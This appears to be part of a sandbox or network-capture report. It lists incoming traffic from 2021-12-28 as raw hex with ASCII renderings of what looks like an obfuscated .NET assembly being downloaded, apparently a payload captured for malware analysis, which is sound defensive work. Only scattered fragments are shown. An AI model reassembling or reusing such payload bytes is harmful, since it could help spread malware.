2021-12-28 04:19:03 UTC	11	IN	Data Raw: 56 1e 00 00 c3 22 00 00 25 07 00 00 43 22 00 00 7f 31 00 00 99 40 00 00 fa 13 00 00 4c 03 00 00 0b 0e 00 00 1f 17 00 00 40 0c 00 00 75 0d 00 00 94 05 00 00 f1 51 00 00 c6 48 00 00 64 3b 00 00 42 1c 00 00 d9 1a 00 00 aa 38 00 00 2e 44 00 00 ee 1e 00 00 a0 14 00 00 38 58 13 00 00 20 1e 00 00 00 20 61 00 00 00 58 fe 0e 34 00 20 73 00 00 00 38 ad f5 ff ff 11 10 13 4f 20 60 01 00 00 28 1e 01 00 06 39 9a f5 ff ff 26 20 95 01 00 00 38 8f f5 ff ff 38 9a 44 00 00 20 2b 00 00 00 38 80 f5 ff ff 20 56 00 00 00 20 68 00 00 00 58 fe 0e 34 00 20 70 02 00 00 fe 0e 6e 00 38 5f f5 ff ff 11 14 17 1f 65 9c 20 dd 01 00 00 28 1e 01 00 06 3a 4e f5 ff ff 26 20 d1 00 00 00 38 43 f5 ff ff 20 a4 00 00 00 20 36 00 00 00 59 fe 0e 30 00 20 3d 01 00 00 28 1e 01 00 06 39 25 f5 ff ff 26 Data Ascii: V"%C"1@L@uQHd;B8.D8X aX4 s8O `(9& 88D +8 V hX4 pn8_e (:N& 8C 6Y0 =(9%&
2021-12-28 04:19:03 UTC	12	IN	Data Raw: 00 0a 28 17 01 00 06 13 0f 20 cf 01 00 00 38 b7 f0 ff ff fe 0c 3e 00 20 08 00 00 00 20 25 00 00 00 20 49 00 00 00 58 9c 20 51 01 00 00 38 98 f0 ff ff 20 bf 00 00 00 20 3f 00 00 00 59 fe 0e 34 00 20 b1 01 00 00 28 1e 01 00 06 3a 7a f0 ff ff 26 20 8f 01 00 00 38 6f f0 ff ff 20 c3 00 00 00 20 13 00 00 00 58 fe 0e 30 00 20 4e 01 00 00 38 56 f0 ff ff fe 0c 45 00 20 06 00 00 00 20 96 00 00 00 20 32 00 00 00 59 9c 20 ec 00 00 00 38 37 f0 ff ff fe 0c 45 00 20 0d 00 00 00 fe 0c 34 00 9c 20 f7 00 00 00 38 1f f0 ff ff 11 02 16 28 c5 00 00 06 26 20 b3 00 00 00 38 0c f0 ff ff fe 0c 45 00 20 0c 00 00 00 fe 0c 34 00 9c 20 65 02 00 00 38 f4 ef ff ff fe 0c 3e 00 20 00 00 00 00 fe 0c 30 00 9c 20 43 01 00 00 28 1e 01 00 06 3a d7 ef ff ff 26 20 28 00 00 00 38 cc ef ff ff 11 Data Ascii: ( 8> % IX Q8 ?Y4 (:z& 8o X0 N8VE 2Y 87E 4 8(& 8E 4 e8> 0 C(:& (8
2021-12-28 04:19:03 UTC	13	IN	Data Raw: 00 58 fe 0e 30 00 20 d5 00 00 00 38 61 eb ff ff fe 0c 3e 00 20 03 00 00 00 20 ee 00 00 00 20 4f 00 00 00 59 9c 20 89 01 00 00 28 1f 01 00 06 3a 3d eb ff ff 26 20 72 02 00 00 38 32 eb ff ff fe 0c 45 00 20 05 00 00 00 20 7e 00 00 00 20 2a 00 00 00 59 9c 20 3c 02 00 00 28 1e 01 00 06 3a 0e eb ff ff 26 20 bd 00 00 00 38 03 eb ff ff 7e 48 00 00 04 28 ef 00 00 06 16 9a 28 f0 00 00 06 13 03 20 fe 01 00 00 fe 0e 6e 00 38 de ea ff ff 20 32 00 00 00 20 24 00 00 00 58 fe 0e 30 00 20 81 00 00 00 38 c9 ea ff ff 11 09 11 6d 1d 58 11 0c 1d 91 9c 20 a9 00 00 00 38 b4 ea ff ff 11 1e 28 f3 00 00 06 11 17 59 13 6a 20 fb 00 00 00 28 1e 01 00 06 39 99 ea ff ff 26 20 30 01 00 00 38 8e ea ff ff fe 0c 45 00 20 0f 00 00 00 20 c2 00 00 00 20 40 00 00 00 59 9c 20 4f 00 00 00 28 1f Data Ascii: X0 8a> OY (:=& r82E ~ *Y <(:& 8~H(( n8 2 $X0 8mX 8(Yj (9& 08E @Y O(
2021-12-28 04:19:03 UTC	15	IN	Data Raw: ff fe 0c 45 00 20 0f 00 00 00 20 42 00 00 00 20 72 00 00 00 58 9c 20 cd 01 00 00 38 f8 e5 ff ff 11 09 11 6d 19 58 11 63 19 91 9c 20 a1 00 00 00 38 e3 e5 ff ff fe 0c 3e 00 20 10 00 00 00 20 51 00 00 00 20 17 00 00 00 58 9c 20 59 02 00 00 38 c4 e5 ff ff 20 02 00 00 00 20 1b 00 00 00 58 fe 0e 30 00 20 ac 00 00 00 38 ab e5 ff ff fe 0c 3e 00 20 1b 00 00 00 20 c8 00 00 00 20 42 00 00 00 59 9c 20 59 00 00 00 38 8c e5 ff ff 20 7d 00 00 00 20 29 00 00 00 59 fe 0e 30 00 20 69 00 00 00 38 73 e5 ff ff 38 4f f5 ff ff 20 75 00 00 00 28 1f 01 00 06 39 5f e5 ff ff 26 20 48 00 00 00 38 54 e5 ff ff 28 d3 00 00 06 20 66 01 00 00 38 45 e5 ff ff fe 0c 45 00 20 0d 00 00 00 20 b4 00 00 00 20 3c 00 00 00 59 9c 20 6a 01 00 00 38 26 e5 ff ff 16 13 13 20 a1 01 00 00 28 1f 01 00 06 Data Ascii: E B rX 8mXc 8> Q X Y8 X0 8> BY Y8 } )Y0 i8s8O u(9_& H8T( f8EE <Y j8& (
2021-12-28 04:19:03 UTC	16	IN	Data Raw: 00 00 20 64 00 00 00 58 9c 20 16 01 00 00 fe 0e 6e 00 38 a4 e0 ff ff fe 0c 3e 00 20 16 00 00 00 fe 0c 30 00 9c 20 61 01 00 00 38 90 e0 ff ff 20 f4 f3 f2 f1 13 2f 20 15 00 00 00 28 1e 01 00 06 39 7a e0 ff ff 26 20 1e 00 00 00 38 6f e0 ff ff fe 0c 45 00 20 0b 00 00 00 20 1f 00 00 00 20 1c 00 00 00 59 9c 20 84 02 00 00 fe 0e 6e 00 38 48 e0 ff ff 2a 11 47 1a 11 28 12 28 28 b0 00 00 06 26 20 bb 01 00 00 38 34 e0 ff ff 11 2c 11 5f 5d 13 6b 20 52 00 00 00 38 23 e0 ff ff 11 2c 17 58 13 2c 20 78 00 00 00 28 1f 01 00 06 39 0e e0 ff ff 26 20 77 00 00 00 38 03 e0 ff ff 12 47 11 37 11 1e 28 f3 00 00 06 6a 58 11 17 6a 59 28 73 00 00 0a 20 f1 01 00 00 38 e3 df ff ff fe 0c 3e 00 20 19 00 00 00 20 c8 00 00 00 20 42 00 00 00 59 9c 20 d2 01 00 00 38 c4 df ff ff 11 06 8e 3a Data Ascii: dX n8> 0 a8 / (9z& 8oE Y n8H*G(((& 84,_]k R8#,X, x(9& w8G7(jXjY(s 8> BY 8:
2021-12-28 04:19:03 UTC	17	IN	Data Raw: 1e 01 00 06 3a 5d db ff ff 26 20 a7 00 00 00 38 52 db ff ff fe 0c 45 00 20 0d 00 00 00 20 2f 00 00 00 20 21 00 00 00 58 9c 20 ff 00 00 00 38 33 db ff ff 11 50 16 3e 7e e5 ff ff 20 bf 00 00 00 28 1e 01 00 06 3a 1c db ff ff 26 20 7e 00 00 00 38 11 db ff ff 38 45 08 00 00 20 c5 00 00 00 28 1f 01 00 06 3a fd da ff ff 26 20 df 00 00 00 38 f2 da ff ff fe 0c 3e 00 20 1f 00 00 00 fe 0c 30 00 9c 20 57 00 00 00 38 da da ff ff fe 0c 3e 00 20 04 00 00 00 fe 0c 30 00 9c 20 40 02 00 00 38 c2 da ff ff 20 92 00 00 00 20 30 00 00 00 59 fe 0e 30 00 20 43 00 00 00 38 a9 da ff ff 11 09 11 6d 17 58 11 63 17 91 9c 20 6d 01 00 00 38 94 da ff ff 20 7b 00 00 00 20 48 00 00 00 58 fe 0e 34 00 20 9e 01 00 00 38 7b da ff ff 20 33 00 00 00 20 55 00 00 00 58 fe 0e 30 00 20 70 01 00 00 Data Ascii: :]& 8RE / !X 83P>~ (:& ~88E (:& 8> 0 W8> 0 @8 0Y0 C8mXc m8 { HX4 8{ 3 UX0 p
2021-12-28 04:19:03 UTC	19	IN	Data Raw: 73 73 00 00 0a d0 2e 00 00 02 28 03 01 00 06 28 08 01 00 06 74 2e 00 00 02 80 6d 00 00 04 20 00 00 00 00 28 1f 01 00 06 39 0f 00 00 00 26 20 00 00 00 00 38 04 00 00 00 fe 0c 75 00 45 01 00 00 00 05 00 00 00 38 00 00 00 00 dd 97 04 00 00 26 20 00 00 00 00 28 1e 01 00 06 39 0f 00 00 00 26 20 00 00 00 00 38 04 00 00 00 fe 0c 33 00 45 02 00 00 00 05 00 00 00 d9 00 00 00 38 00 00 00 00 00 11 04 73 73 00 00 0a d0 2e 00 00 02 28 03 01 00 06 28 08 01 00 06 13 2e 20 00 00 00 00 28 1f 01 00 06 3a 0f 00 00 00 26 20 00 00 00 00 38 04 00 00 00 fe 0c 5b 00 45 02 00 00 00 05 00 00 00 3f 00 00 00 38 00 00 00 00 d0 2e 00 00 02 28 03 01 00 06 11 2e 28 10 01 00 06 28 11 01 00 06 74 2e 00 00 02 80 6d 00 00 04 20 01 00 00 00 28 1f 01 00 06 3a bf ff ff ff 26 20 01 00 00 00 38 Data Ascii: ss.((t.m (9& 8uE8& (9& 83E8ss.((. (:& 8[E?8.(.((t.m (:& 8
2021-12-28 04:19:03 UTC	20	IN	Data Raw: 00 20 08 00 00 00 fe 0c 34 00 9c 20 b5 00 00 00 28 1f 01 00 06 39 9a d0 ff ff 26 20 25 00 00 00 38 8f d0 ff ff 20 d4 00 00 00 20 46 00 00 00 59 fe 0e 34 00 20 79 00 00 00 fe 0e 6e 00 38 6e d0 ff ff fe 0c 45 00 20 02 00 00 00 20 d8 00 00 00 20 48 00 00 00 59 9c 20 33 02 00 00 38 53 d0 ff ff fe 0c 3e 00 20 10 00 00 00 20 95 00 00 00 20 31 00 00 00 59 9c 20 4b 02 00 00 fe 0e 6e 00 38 2c d0 ff ff 38 c5 fd ff ff 20 00 01 00 00 28 1f 01 00 06 39 1c d0 ff ff 26 20 91 00 00 00 38 11 d0 ff ff 20 32 00 00 00 20 01 00 00 00 58 fe 0e 30 00 20 27 01 00 00 38 f8 cf ff ff 38 17 f4 ff ff 20 40 01 00 00 28 1e 01 00 06 3a e4 cf ff ff 26 20 2f 01 00 00 38 d9 cf ff ff 11 09 11 01 19 58 11 0c 19 91 9c 20 1a 02 00 00 38 c4 cf ff ff fe 0c 3e 00 20 08 00 00 00 fe 0c 30 00 9c 20 Data Ascii: 4 (9& %8 FY4 yn8nE HY 38S> 1Y Kn8,8 (9& 8 2 X0 '88 @(:& /8X 8> 0
2021-12-28 04:19:03 UTC	21	IN	Data Raw: 11 64 1a 5a 11 28 12 28 28 b0 00 00 06 26 20 4d 01 00 00 38 43 cb ff ff 28 d3 00 00 06 20 31 00 00 00 28 1e 01 00 06 39 2f cb ff ff 26 20 dc 00 00 00 38 24 cb ff ff 20 a3 00 00 00 20 36 00 00 00 59 fe 0e 34 00 20 f0 00 00 00 38 0b cb ff ff 11 3b 11 13 61 13 57 20 0e 01 00 00 38 fa ca ff ff 11 09 11 6d 1b 58 11 63 1b 91 9c 20 ff 01 00 00 38 e5 ca ff ff 20 d3 00 00 00 20 46 00 00 00 59 fe 0e 30 00 20 0e 02 00 00 38 cc ca ff ff 11 1c 1e 58 13 1c 20 48 02 00 00 38 bc ca ff ff 11 43 1d 1f 64 9c 20 96 00 00 00 38 ac ca ff ff fe 0c 45 00 20 0c 00 00 00 20 6a 00 00 00 20 76 00 00 00 58 9c 20 81 01 00 00 38 8d ca ff ff 11 43 1b 1f 74 9c 20 9c 01 00 00 38 7d ca ff ff 11 09 11 01 19 58 11 63 19 91 9c 20 56 00 00 00 38 68 ca ff ff fe 0c 3e 00 20 13 00 00 00 20 5b 00 Data Ascii: dZ(((& M8C( 1(9/& 8$ 6Y4 8;aW 8mXc 8 FY0 8X H8Cd 8E j vX 8Ct 8}Xc V8h> [
2021-12-28 04:19:03 UTC	23	IN	Data Raw: 74 11 25 28 e3 00 00 06 39 af ff ff ff 20 03 00 00 00 38 a4 fe ff ff 1a 16 20 6f 76 00 00 20 01 46 00 00 73 74 00 00 0a 13 25 20 0b 00 00 00 38 87 fe ff ff 11 74 11 22 28 e2 00 00 06 39 7a ff ff ff 20 01 00 00 00 28 1e 01 00 06 39 6a fe ff ff 26 20 01 00 00 00 38 5f fe ff ff 11 4e 28 da 00 00 06 28 db 00 00 06 72 1e 0b 00 70 28 dc 00 00 06 3a 96 fe ff ff 20 00 00 00 00 28 1e 01 00 06 3a 35 fe ff ff 26 20 00 00 00 00 38 2a fe ff ff dd 4b d4 ff ff 11 5d 75 54 00 00 01 13 39 20 01 00 00 00 28 1e 01 00 06 3a 0f 00 00 00 26 20 00 00 00 00 38 04 00 00 00 fe 0c 26 00 45 03 00 00 00 37 00 00 00 26 00 00 00 05 00 00 00 38 32 00 00 00 11 39 28 e5 00 00 06 20 00 00 00 00 28 1f 01 00 06 3a d4 ff ff ff 26 20 00 00 00 00 38 c9 ff ff ff 11 39 39 0a 00 00 00 20 02 00 00 Data Ascii: t%(9 8 ov Fst% 8t"(9z (9j& 8_N((rp(: (:5& 8*K]uT9 (:& 8&E7&829( (:& 899
2021-12-28 04:19:03 UTC	24	IN	Data Raw: 18 00 00 00 fe 0c 30 00 9c 20 94 00 00 00 38 96 c0 ff ff 12 35 17 8d 16 00 00 01 25 16 1f 2a 9c 7d 72 00 00 04 20 e9 01 00 00 38 7a c0 ff ff 20 24 00 00 00 20 74 00 00 00 58 fe 0e 30 00 20 f7 01 00 00 28 1f 01 00 06 3a 5c c0 ff ff 26 20 74 02 00 00 38 51 c0 ff ff 14 13 63 20 97 00 00 00 fe 0e 6e 00 38 3c c0 ff ff 11 09 11 6d 11 0f 16 91 9c 20 93 01 00 00 38 2d c0 ff ff 11 09 11 01 19 58 11 0f 19 91 9c 20 b8 00 00 00 fe 0e 6e 00 38 10 c0 ff ff 11 1b 11 64 1a 5a 1e 12 28 28 b0 00 00 06 26 20 c1 00 00 00 38 fb bf ff ff 7e 50 00 00 04 28 0c 01 00 06 13 2d 20 65 01 00 00 28 1f 01 00 06 3a e0 bf ff ff 26 20 68 01 00 00 38 d5 bf ff ff fe 0c 45 00 20 0a 00 00 00 fe 0c 34 00 9c 20 20 00 00 00 28 1e 01 00 06 39 b8 bf ff ff 26 20 a0 00 00 00 38 ad bf ff ff fe 0c 3e Data Ascii: 0 85%*}r 8z $ tX0 (:\& t8Qc n8<m 8-X n8dZ((& 8~P(- e(:& h8E 4 (9& 8>
2021-12-28 04:19:03 UTC	25	IN	Data Raw: 20 38 00 00 00 58 9c 20 56 02 00 00 38 3f bb ff ff 11 43 19 1f 6f 9c 20 51 02 00 00 38 2f bb ff ff fe 0c 3e 00 20 1a 00 00 00 fe 0c 30 00 9c 20 6f 01 00 00 38 17 bb ff ff 16 13 29 20 2e 01 00 00 38 0a bb ff ff 7e 0a 00 00 0a 11 6f 8e 69 20 00 10 00 00 1f 40 28 1c 01 00 06 13 36 20 22 02 00 00 28 1f 01 00 06 39 e4 ba ff ff 26 20 0c 00 00 00 38 d9 ba ff ff 7f 62 00 00 04 28 71 00 00 0a 28 fe 00 00 06 13 0f 20 78 02 00 00 38 be ba ff ff 11 09 16 11 36 11 09 8e 69 28 cc 00 00 06 20 7e 02 00 00 28 1e 01 00 06 3a a1 ba ff ff 26 20 be 01 00 00 38 96 ba ff ff 20 5b 00 00 00 20 38 00 00 00 58 fe 0e 30 00 20 c5 00 00 00 38 7d ba ff ff 11 5e 8e 69 1a 5b 13 38 20 9d 00 00 00 fe 0e 6e 00 38 63 ba ff ff 11 09 11 6d 19 58 11 0f 19 91 9c 20 83 00 00 00 38 52 ba ff ff fe Data Ascii: 8X V8?Co Q8/> 0 o8) .8~oi @(6 "(9& 8b(q( x86i( ~(:& 8 [ 8X0 8}^i[8 n8cmX 8R
2021-12-28 04:19:03 UTC	27	IN	Data Raw: 01 00 00 38 ef b5 ff ff d0 29 00 00 02 28 03 01 00 06 6f 24 00 00 0a 28 0e 01 00 06 28 12 01 00 06 8e 69 18 40 2f 15 00 00 20 64 01 00 00 28 1e 01 00 06 3a bf b5 ff ff 26 20 37 00 00 00 38 b4 b5 ff ff fe 0c 3e 00 20 0e 00 00 00 20 86 00 00 00 20 2c 00 00 00 59 9c 20 c4 00 00 00 28 1f 01 00 06 3a 90 b5 ff ff 26 20 b6 01 00 00 38 85 b5 ff ff 20 ef 00 00 00 20 4f 00 00 00 59 fe 0e 30 00 20 5b 02 00 00 38 6c b5 ff ff 11 1e 28 f3 00 00 06 16 13 65 20 00 00 00 70 3f bc db ff ff 20 67 00 00 00 38 4e b5 ff ff fe 0c 45 00 20 03 00 00 00 fe 0c 34 00 9c 20 28 00 00 00 fe 0e 6e 00 38 2e b5 ff ff 11 43 1d 1f 74 9c 20 31 01 00 00 38 22 b5 ff ff 28 d3 00 00 06 20 03 00 00 00 28 1f 01 00 06 3a 0e b5 ff ff 26 20 53 00 00 00 38 03 b5 ff ff fe 0c 3e 00 20 01 00 00 00 fe 0c Data Ascii: 8)(o$((i@/ d(:& 78> ,Y (:& 8 OY0 [8l(e p? g8NE 4 (n8.Ct 18"( (:& S8>
2021-12-28 04:19:03 UTC	28	IN	Data Raw: 00 00 59 fe 0e 30 00 20 47 01 00 00 38 8d b0 ff ff 11 20 28 eb 00 00 06 20 31 00 00 00 38 7c b0 ff ff 20 31 00 00 00 20 30 00 00 00 59 fe 0e 34 00 20 2f 01 00 00 28 1e 01 00 06 3a 5e b0 ff ff 26 20 1b 01 00 00 38 53 b0 ff ff 1f 38 17 28 ce 00 00 06 28 fc 00 00 06 28 fd 00 00 06 13 12 20 b4 01 00 00 38 35 b0 ff ff fe 0c 45 00 20 0a 00 00 00 fe 0c 34 00 9c 20 07 02 00 00 28 1f 01 00 06 39 18 b0 ff ff 26 20 21 00 00 00 38 0d b0 ff ff 11 15 17 58 13 15 20 20 00 00 00 28 1f 01 00 06 3a f8 af ff ff 26 20 7f 00 00 00 38 ed af ff ff 16 13 2c 20 99 01 00 00 38 e0 af ff ff fe 0c 3e 00 20 0b 00 00 00 20 16 00 00 00 20 03 00 00 00 58 9c 20 82 01 00 00 38 c1 af ff ff 20 6e 00 00 00 20 53 00 00 00 59 fe 0e 34 00 20 6c 01 00 00 fe 0e 6e 00 38 a0 af ff ff 18 13 6d 20 b8 Data Ascii: Y0 G8 ( 18\| 1 0Y4 /(:^& 8S8((( 85E 4 (9& !8X (:& 8, 8> X 8 n SY4 ln8m
2021-12-28 04:19:03 UTC	29	IN	Data Raw: ff ff 26 20 66 00 00 00 38 38 ab ff ff 28 f4 00 00 06 25 17 28 f5 00 00 06 11 0e 11 20 28 f6 00 00 06 13 4c 20 08 00 00 00 28 1f 01 00 06 39 12 ab ff ff 26 20 07 00 00 00 38 07 ab ff ff 16 13 28 20 4a 02 00 00 38 fa aa ff ff 11 09 11 6d 1b 58 11 0c 1b 91 9c 20 38 02 00 00 38 e5 aa ff ff 11 1e 11 55 28 ea 00 00 06 13 0d 20 4c 00 00 00 28 1e 01 00 06 39 cb aa ff ff 26 20 6e 00 00 00 38 c0 aa ff ff 11 09 11 01 18 58 11 0f 18 91 9c 20 79 01 00 00 38 ab aa ff ff 16 13 17 20 65 00 00 00 38 9e aa ff ff 20 44 00 00 00 20 1f 00 00 00 58 fe 0e 30 00 20 15 00 00 00 28 1f 01 00 06 3a 80 aa ff ff 26 20 53 01 00 00 38 75 aa ff ff fe 0c 3e 00 20 05 00 00 00 fe 0c 30 00 9c 20 e1 01 00 00 38 5d aa ff ff fe 0c 3e 00 20 18 00 00 00 20 82 00 00 00 20 2b 00 00 00 59 9c 20 aa Data Ascii: & f88(%( (L (9& 8( J8mX 88U( L(9& n8X y8 e8 D X0 (:& S8u> 0 8]> +Y
2021-12-28 04:19:03 UTC	31	IN	Data Raw: ff ff ff 7e 50 00 00 04 11 61 73 6f 00 00 0a 11 61 73 6f 00 00 0a 11 61 73 6f 00 00 0a 20 7d 1d ea 0c 11 61 73 6f 00 00 0a 12 73 6f 2f 01 00 06 26 20 02 00 00 00 28 1e 01 00 06 3a 23 ff ff ff 26 20 00 00 00 00 38 18 ff ff ff 38 5c ff ff ff 20 01 00 00 00 28 1e 01 00 06 39 04 ff ff ff 26 20 01 00 00 00 38 f9 fe ff ff 16 e0 13 61 20 04 00 00 00 38 eb fe ff ff dd 44 01 00 00 14 13 11 20 00 00 00 00 28 1f 01 00 06 3a 0f 00 00 00 26 20 00 00 00 00 38 04 00 00 00 fe 0c 4d 00 45 01 00 00 00 05 00 00 00 38 00 00 00 00 dc 20 02 00 00 00 38 29 fd ff ff 73 72 00 00 0a 13 16 20 07 00 00 00 28 1e 01 00 06 3a 13 fd ff ff 26 20 07 00 00 00 38 08 fd ff ff 38 6e fd ff ff 20 08 00 00 00 28 1f 01 00 06 3a f4 fc ff ff 26 20 10 00 00 00 38 e9 fc ff ff 11 16 28 d4 00 00 06 8d Data Ascii: ~Pasoasoaso }asoso/& (:#& 88\ (9& 8a 8D (:& 8ME8 8)sr (:& 88n (:& 8(
2021-12-28 04:19:03 UTC	32	IN	Data Raw: ff 00 00 00 13 48 20 76 02 00 00 28 1e 01 00 06 3a 7e a0 ff ff 26 20 d0 00 00 00 38 73 a0 ff ff 20 6b 00 00 00 20 60 00 00 00 58 fe 0e 34 00 20 aa 00 00 00 38 5a a0 ff ff 38 e0 c2 ff ff 20 49 02 00 00 38 4b a0 ff ff fe 0c 3e 00 20 0f 00 00 00 fe 0c 30 00 9c 20 44 00 00 00 38 33 a0 ff ff 11 43 17 1f 73 9c 20 86 01 00 00 fe 0e 6e 00 38 1b a0 ff ff fe 0c 3e 00 20 08 00 00 00 20 67 00 00 00 20 73 00 00 00 58 9c 20 38 00 00 00 38 00 a0 ff ff fe 0c 3e 00 20 1a 00 00 00 fe 0c 30 00 9c 20 4a 00 00 00 28 1f 01 00 06 3a e3 9f ff ff 26 20 4a 00 00 00 38 d8 9f ff ff 11 5e 8e 69 1a 5d 13 50 20 0f 02 00 00 28 1f 01 00 06 39 c1 9f ff ff 26 20 17 01 00 00 38 b6 9f ff ff 11 43 1e 1f 2e 9c 20 c0 00 00 00 38 a6 9f ff ff fe 0c 3e 00 20 01 00 00 00 20 52 00 00 00 20 67 00 00 Data Ascii: H v(:~& 8s k `X4 8Z8 I8K> 0 D83Cs n8> g sX 88> 0 J(:& J8^i]P (9& 8C. 8> R g
2021-12-28 04:19:03 UTC	33	IN	Data Raw: 03 2a 00 00 51 00 00 00 54 2a 00 00 0a 01 00 00 0a 00 00 01 02 00 00 00 71 59 00 00 32 01 00 00 a3 5a 00 00 30 00 00 00 00 00 00 00 00 00 00 00 a4 57 00 00 48 04 00 00 ec 5b 00 00 32 00 00 00 0a 00 00 01 1b 30 04 00 fb 00 00 00 13 00 00 11 02 74 32 00 00 01 6f 79 00 00 0a 28 7a 00 00 0a 39 11 00 00 00 02 74 32 00 00 01 6f 79 00 00 0a 0a dd d3 00 00 00 dd 06 00 00 00 26 dd 00 00 00 00 00 02 74 32 00 00 01 6f 7b 00 00 0a 6f 7c 00 00 0a 6f 77 00 00 0a 72 90 0b 00 70 72 01 00 00 70 6f 7d 00 00 0a 28 7a 00 00 0a 39 2a 00 00 00 02 74 32 00 00 01 6f 7b 00 00 0a 6f 7c 00 00 0a 6f 77 00 00 0a 72 90 0b 00 70 72 01 00 00 70 6f 7d 00 00 0a 0a dd 6f 00 00 00 dd 06 00 00 00 26 dd 00 00 00 00 00 02 6f 76 00 00 0a 72 a2 0b 00 70 6f 7e 00 00 0a 02 16 8d 0a 00 00 01 6f 7f Data Ascii: QTqY2Z0WH[20t2oy(z9t2oy&t2o{o\|owrprpo}(z9*t2o{o\|owrprpo}o&ovrpo~o
2021-12-28 04:19:03 UTC	34	IN	Data Raw: 03 28 8d 00 00 0a 39 02 00 00 00 17 2a 02 39 06 00 00 00 03 3a 02 00 00 00 16 2a 16 0a 16 0b 16 0c 16 0d 02 7e 61 00 00 04 6f 8e 00 00 0a 39 2a 00 00 00 17 0a 02 1a 6f 8f 00 00 0a 02 1b 6f 8f 00 00 0a 1e 62 60 02 1c 6f 8f 00 00 0a 1f 10 62 60 02 1d 6f 8f 00 00 0a 1f 18 62 60 0c 03 7e 61 00 00 04 6f 8e 00 00 0a 39 2a 00 00 00 17 0b 03 1a 6f 8f 00 00 0a 03 1b 6f 8f 00 00 0a 1e 62 60 03 1c 6f 8f 00 00 0a 1f 10 62 60 03 1d 6f 8f 00 00 0a 1f 18 62 60 0d 06 3a 08 00 00 00 07 3a 02 00 00 00 16 2a 06 3a 07 00 00 00 02 28 b8 00 00 06 0c 07 3a 07 00 00 00 03 28 b8 00 00 06 0d 08 09 fe 01 2a 00 00 00 72 72 86 0c 00 70 6f 61 00 00 0a 16 26 26 18 8d 16 00 00 01 25 16 17 9c 25 17 18 9c 2a 00 00 00 72 72 ba 0c 00 70 6f 61 00 00 0a 16 26 26 18 8d 16 00 00 01 25 16 17 9c Data Ascii: (99:~ao9oob`ob`ob`~ao9oob`ob`ob`:::(:(rrpoa&&%%*rrpoa&&%
2021-12-28 04:19:03 UTC	36	IN	Data Raw: 29 00 00 0a 2a 00 3e 00 fe 09 00 00 fe 09 01 00 28 83 00 00 0a 2a 3e 00 fe 09 00 00 fe 09 01 00 28 a8 00 00 06 2a 2a fe 09 00 00 6f 34 01 00 06 2a 00 2e 00 fe 09 00 00 28 b4 00 00 0a 2a 2e 00 fe 09 00 00 28 b5 00 00 0a 2a 2e 00 fe 09 00 00 28 b6 00 00 0a 2a 2a fe 09 00 00 6f b7 00 00 0a 2a 00 2a fe 09 00 00 6f b8 00 00 0a 2a 00 3e 00 fe 09 00 00 fe 09 01 00 28 b9 00 00 0a 2a 2a fe 09 00 00 6f ba 00 00 0a 2a 00 3e 00 fe 09 00 00 fe 09 01 00 28 4a 00 00 0a 2a 2a fe 09 00 00 6f 4c 00 00 0a 2a 00 2a fe 09 00 00 6f bb 00 00 0a 2a 00 2a fe 09 00 00 6f bc 00 00 0a 2a 00 2a fe 09 00 00 28 76 00 00 0a 2a 00 3a fe 09 00 00 fe 09 01 00 6f bd 00 00 0a 2a 00 2e 00 fe 09 00 00 28 be 00 00 0a 2a 2e 00 fe 09 00 00 28 bf 00 00 0a 2a 2a fe 09 00 00 6f c0 00 00 0a 2a 00 2e Data Ascii: )>(>(*o4.(.(.(oo>(o>(JoLoo(v:o.(.(o.
2021-12-28 04:19:03 UTC	37	IN	Data Raw: aa 1e 00 00 7e 03 00 00 1d 32 00 00 ec 18 00 00 b6 16 00 00 d8 32 00 00 56 1c 00 00 c7 00 00 00 de 0c 00 00 81 1f 00 00 1f 0d 00 00 c2 27 00 00 2b 35 00 00 1d 33 00 00 17 17 00 00 42 26 00 00 9b 06 00 00 8a 19 00 00 d1 1d 00 00 eb 26 00 00 38 2e 00 00 7f 04 00 00 77 32 00 00 b2 25 00 00 a3 24 00 00 03 12 00 00 61 26 00 00 ab 17 00 00 c4 2b 00 00 90 32 00 00 05 00 00 00 dd 2b 00 00 0e 1a 00 00 ef 02 00 00 90 28 00 00 ae 02 00 00 c5 15 00 00 62 1f 00 00 8d 0e 00 00 e3 30 00 00 81 1a 00 00 73 06 00 00 09 1e 00 00 17 14 00 00 ea 1a 00 00 44 31 00 00 df 20 00 00 06 2a 00 00 38 21 00 00 4e 2f 00 00 54 20 00 00 4e 0d 00 00 03 0a 00 00 1b 15 00 00 11 09 00 00 6e 0b 00 00 33 15 00 00 8b 24 00 00 9b 22 00 00 5b 01 00 00 c2 2a 00 00 85 31 00 00 48 13 00 00 8c 00 00 Data Ascii: ~22V'+53B&&8.w2%$a&+2+(b0sD1 8!N/T Nn3$"[1H
2021-12-28 04:19:03 UTC	38	IN	Data Raw: ff ff 38 4a 1d 00 00 20 70 01 00 00 28 72 01 00 06 3a b4 f7 ff ff 26 20 40 00 00 00 38 a9 f7 ff ff fe 0c 11 00 20 15 00 00 00 20 a8 00 00 00 20 38 00 00 00 59 9c 20 74 00 00 00 fe 0e 29 00 38 82 f7 ff ff fe 0c 00 00 20 02 00 00 00 fe 0c 09 00 9c 20 36 00 00 00 38 6e f7 ff ff 20 6e 00 00 00 20 59 00 00 00 59 fe 0e 28 00 20 29 00 00 00 38 55 f7 ff ff fe 0c 11 00 20 0a 00 00 00 20 4d 00 00 00 20 1c 00 00 00 58 9c 20 98 01 00 00 28 73 01 00 06 3a 31 f7 ff ff 26 20 b5 01 00 00 38 26 f7 ff ff fe 0c 11 00 20 1d 00 00 00 fe 0c 28 00 9c 20 ce 00 00 00 28 73 01 00 06 3a 09 f7 ff ff 26 20 d6 00 00 00 38 fe f6 ff ff fe 0c 00 00 20 05 00 00 00 fe 0c 09 00 9c 20 24 01 00 00 38 e6 f6 ff ff 20 9e 00 00 00 20 4e 00 00 00 59 fe 0e 28 00 20 9e 00 00 00 38 cd f6 ff ff 20 67 Data Ascii: 8J p(r:& @8 8Y t)8 68n n YY( )8U M X (s:1& 8& ( (s:& 8 $8 NY( 8 g
